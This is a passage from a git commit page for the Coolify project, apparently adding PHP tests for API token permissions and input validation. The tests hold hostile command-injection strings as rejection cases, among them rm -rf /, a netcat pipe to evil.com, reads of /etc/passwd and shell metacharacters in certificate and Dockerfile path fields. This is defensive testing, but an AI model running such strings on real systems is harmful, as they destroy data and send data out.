mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-15 18:15:49 +00:00
Merge remote-tracking branch 'origin/next' into env-var-descriptions
This commit is contained in:
commit
d9e39ba211
404 files changed
+29406
-26356
No files matched your search
@@ -1,2 +0,0 @@
|
||||
*
|
||||
!.gitignore
|
||||
@@ -0,0 +1,75 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
describe('POST /api/v1/projects', function () {
|
||||
test('read-only token cannot create a project', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/projects', [
|
||||
'name' => 'Test Project',
|
||||
]);
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
|
||||
test('write token can create a project', function () {
|
||||
$token = $this->user->createToken('write-token', ['write']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/projects', [
|
||||
'name' => 'Test Project',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonStructure(['uuid']);
|
||||
});
|
||||
|
||||
test('root token can create a project', function () {
|
||||
$token = $this->user->createToken('root-token', ['root']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/projects', [
|
||||
'name' => 'Test Project',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonStructure(['uuid']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/servers', function () {
|
||||
test('read-only token cannot create a server', function () {
|
||||
$token = $this->user->createToken('read-only', ['read']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/servers', [
|
||||
'name' => 'Test Server',
|
||||
'ip' => '1.2.3.4',
|
||||
'private_key_uuid' => 'fake-uuid',
|
||||
]);
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,120 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
StandaloneDocker::withoutEvents(function () {
|
||||
$this->destination = StandaloneDocker::firstOrCreate(
|
||||
['server_id' => $this->server->id, 'network' => 'coolify'],
|
||||
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||
);
|
||||
});
|
||||
|
||||
$this->project = Project::create([
|
||||
'uuid' => (string) new Cuid2,
|
||||
'name' => 'test-project',
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
// Project boot event auto-creates a 'production' environment
|
||||
$this->environment = $this->project->environments()->first();
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
});
|
||||
|
||||
function healthCheckAuthHeaders($bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
|
||||
test('can update health_check_type to cmd with a command', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready -U postgres',
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$this->application->refresh();
|
||||
expect($this->application->health_check_type)->toBe('cmd');
|
||||
expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
|
||||
});
|
||||
|
||||
test('can update health_check_type back to http', function () {
|
||||
$this->application->update([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'redis-cli ping',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'http',
|
||||
'health_check_command' => null,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$this->application->refresh();
|
||||
expect($this->application->health_check_type)->toBe('http');
|
||||
expect($this->application->health_check_command)->toBeNull();
|
||||
});
|
||||
|
||||
test('rejects invalid health_check_type', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'exec',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects health_check_command with shell operators', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready; rm -rf /',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects health_check_command over 1000 characters', function () {
|
||||
$response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$this->application->uuid}", [
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => str_repeat('a', 1001),
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,93 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Server\CaCertificate\Show;
|
||||
use App\Models\Server;
|
||||
use App\Models\SslCertificate;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
});
|
||||
|
||||
function generateSelfSignedCert(): string
|
||||
{
|
||||
$key = openssl_pkey_new(['private_key_bits' => 2048]);
|
||||
$csr = openssl_csr_new(['CN' => 'Test CA'], $key);
|
||||
$cert = openssl_csr_sign($csr, null, $key, 365);
|
||||
openssl_x509_export($cert, $certPem);
|
||||
|
||||
return $certPem;
|
||||
}
|
||||
|
||||
test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
|
||||
$validCert = generateSelfSignedCert();
|
||||
|
||||
$caCert = SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => $validCert,
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
// Inject shell command after valid certificate
|
||||
$maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', $maliciousContent)
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('success');
|
||||
|
||||
// After save, the certificate should be the clean re-exported PEM, not the malicious input
|
||||
$caCert->refresh();
|
||||
expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
|
||||
expect($caCert->ssl_certificate)->not->toContain('; id');
|
||||
expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
|
||||
expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
|
||||
});
|
||||
|
||||
test('saveCaCertificate rejects completely invalid certificate', function () {
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => 'placeholder',
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('saveCaCertificate rejects empty certificate content', function () {
|
||||
SslCertificate::create([
|
||||
'server_id' => $this->server->id,
|
||||
'is_ca_certificate' => true,
|
||||
'ssl_certificate' => 'placeholder',
|
||||
'ssl_private_key' => 'test-key',
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'valid_until' => now()->addYears(10),
|
||||
]);
|
||||
|
||||
Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
|
||||
->set('certificateContent', '')
|
||||
->call('saveCaCertificate')
|
||||
->assertDispatched('error');
|
||||
});
|
||||
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
|
||||
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
|
||||
|
||||
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts null healthCheckCommand', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => null],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts simple commands', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'pg_isready -U postgres',
|
||||
'redis-cli ping',
|
||||
'curl -f http://localhost:8080/health',
|
||||
'wget -q -O- http://localhost/health',
|
||||
'mysqladmin ping -h 127.0.0.1',
|
||||
]);
|
||||
|
||||
it('rejects commands with shell operators', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'pg_isready; rm -rf /',
|
||||
'redis-cli ping | nc evil.com 1234',
|
||||
'curl http://localhost && curl http://evil.com',
|
||||
'echo $(whoami)',
|
||||
'cat /etc/passwd > /tmp/out',
|
||||
'curl `whoami`.evil.com',
|
||||
'cmd & background',
|
||||
'echo "hello"',
|
||||
"echo 'hello'",
|
||||
'test < /etc/passwd',
|
||||
'bash -c {echo,pwned}',
|
||||
'curl http://evil.com#comment',
|
||||
'echo $HOME',
|
||||
"cmd\twith\ttabs",
|
||||
"cmd\nwith\nnewlines",
|
||||
]);
|
||||
|
||||
it('rejects invalid healthCheckType', function () {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => 'exec'],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts valid healthCheckType values', function ($type) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => $type],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['http', 'cmd']);
|
||||
@@ -0,0 +1,276 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
|
||||
describe('deployment job path field validation', function () {
|
||||
test('rejects shell metacharacters in dockerfile_location', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects backtick injection', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects dollar sign variable expansion', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects pipe injection', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects ampersand injection', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
|
||||
test('rejects path traversal', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location'))
|
||||
->toThrow(RuntimeException::class, 'path traversal detected');
|
||||
});
|
||||
|
||||
test('allows valid simple path', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location'))
|
||||
->toBe('/Dockerfile');
|
||||
});
|
||||
|
||||
test('allows valid nested path with dots and hyphens', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location'))
|
||||
->toBe('/docker/Dockerfile.prod');
|
||||
});
|
||||
|
||||
test('allows valid compose file path', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location'))
|
||||
->toBe('/docker-compose.prod.yml');
|
||||
});
|
||||
});
|
||||
|
||||
describe('API validation rules for path fields', function () {
|
||||
test('dockerfile_location validation rejects shell metacharacters', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_location' => '/Dockerfile; echo pwned; #'],
|
||||
['dockerfile_location' => $rules['dockerfile_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('dockerfile_location validation allows valid paths', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_location' => '/docker/Dockerfile.prod'],
|
||||
['dockerfile_location' => $rules['dockerfile_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
test('docker_compose_location validation rejects shell metacharacters', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_location' => '/docker-compose.yml; env; #'],
|
||||
['docker_compose_location' => $rules['docker_compose_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('docker_compose_location validation allows valid paths', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_location' => '/docker/docker-compose.prod.yml'],
|
||||
['docker_compose_location' => $rules['docker_compose_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('sharedDataApplications rules survive array_merge in controller', function () {
|
||||
test('docker_compose_location safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
// After our fix, local no longer contains docker_compose_location,
|
||||
// so the shared regex rule must survive
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
// The merged rules for docker_compose_location should be the safe regex, not just 'string'
|
||||
expect($merged['docker_compose_location'])->toBeArray();
|
||||
expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/');
|
||||
});
|
||||
});
|
||||
|
||||
describe('path fields require leading slash', function () {
|
||||
test('dockerfile_location without leading slash is rejected by API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_location' => 'Dockerfile'],
|
||||
['dockerfile_location' => $rules['dockerfile_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('docker_compose_location without leading slash is rejected by API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_location' => 'docker-compose.yaml'],
|
||||
['docker_compose_location' => $rules['docker_compose_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('deployment job rejects path without leading slash', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
});
|
||||
|
||||
describe('API route middleware for deploy actions', function () {
|
||||
test('application start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy');
|
||||
|
||||
expect($route)->not->toBeNull();
|
||||
$middleware = $route->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
expect($middleware)->not->toContain('api.ability:write');
|
||||
});
|
||||
|
||||
test('application restart route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$matchedRoute = null;
|
||||
foreach ($routes as $route) {
|
||||
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) {
|
||||
$matchedRoute = $route;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
expect($matchedRoute)->not->toBeNull();
|
||||
$middleware = $matchedRoute->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
|
||||
test('application stop route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$matchedRoute = null;
|
||||
foreach ($routes as $route) {
|
||||
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'stop')) {
|
||||
$matchedRoute = $route;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
expect($matchedRoute)->not->toBeNull();
|
||||
$middleware = $matchedRoute->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
|
||||
test('database start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$matchedRoute = null;
|
||||
foreach ($routes as $route) {
|
||||
if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) {
|
||||
$matchedRoute = $route;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
expect($matchedRoute)->not->toBeNull();
|
||||
$middleware = $matchedRoute->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
|
||||
test('service start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$matchedRoute = null;
|
||||
foreach ($routes as $route) {
|
||||
if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) {
|
||||
$matchedRoute = $route;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
expect($matchedRoute)->not->toBeNull();
|
||||
$middleware = $matchedRoute->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function authHeaders(): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.test()->bearerToken,
|
||||
];
|
||||
}
|
||||
|
||||
test('returns domains for own team application via uuid query param', function () {
|
||||
$application = Application::factory()->create([
|
||||
'fqdn' => 'https://my-app.example.com',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertJsonFragment(['my-app.example.com']);
|
||||
});
|
||||
|
||||
test('returns 404 when application uuid belongs to another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherUser = User::factory()->create();
|
||||
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
|
||||
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
|
||||
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
|
||||
|
||||
$otherApplication = Application::factory()->create([
|
||||
'fqdn' => 'https://secret-app.internal.company.com',
|
||||
'environment_id' => $otherEnvironment->id,
|
||||
'destination_id' => $otherDestination->id,
|
||||
'destination_type' => $otherDestination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Application not found.']);
|
||||
});
|
||||
|
||||
test('returns 404 for nonexistent application uuid', function () {
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Application not found.']);
|
||||
});
|
||||
@@ -0,0 +1,194 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/services/{uuid}/envs', function () {
|
||||
test('returns the updated environment variable object', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'APP_IMAGE_TAG',
|
||||
'value' => 'old-value',
|
||||
'resourceable_type' => Service::class,
|
||||
'resourceable_id' => $service->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
|
||||
'key' => 'APP_IMAGE_TAG',
|
||||
'value' => 'new-value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonStructure([
|
||||
'uuid',
|
||||
'key',
|
||||
'is_literal',
|
||||
'is_multiline',
|
||||
'is_shown_once',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
]);
|
||||
$response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']);
|
||||
$response->assertJsonMissing(['message' => 'Environment variable updated.']);
|
||||
});
|
||||
|
||||
test('returns 404 when environment variable does not exist', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
|
||||
'key' => 'NONEXISTENT_KEY',
|
||||
'value' => 'some-value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(404);
|
||||
$response->assertJson(['message' => 'Environment variable not found.']);
|
||||
});
|
||||
|
||||
test('returns 404 when service does not exist', function () {
|
||||
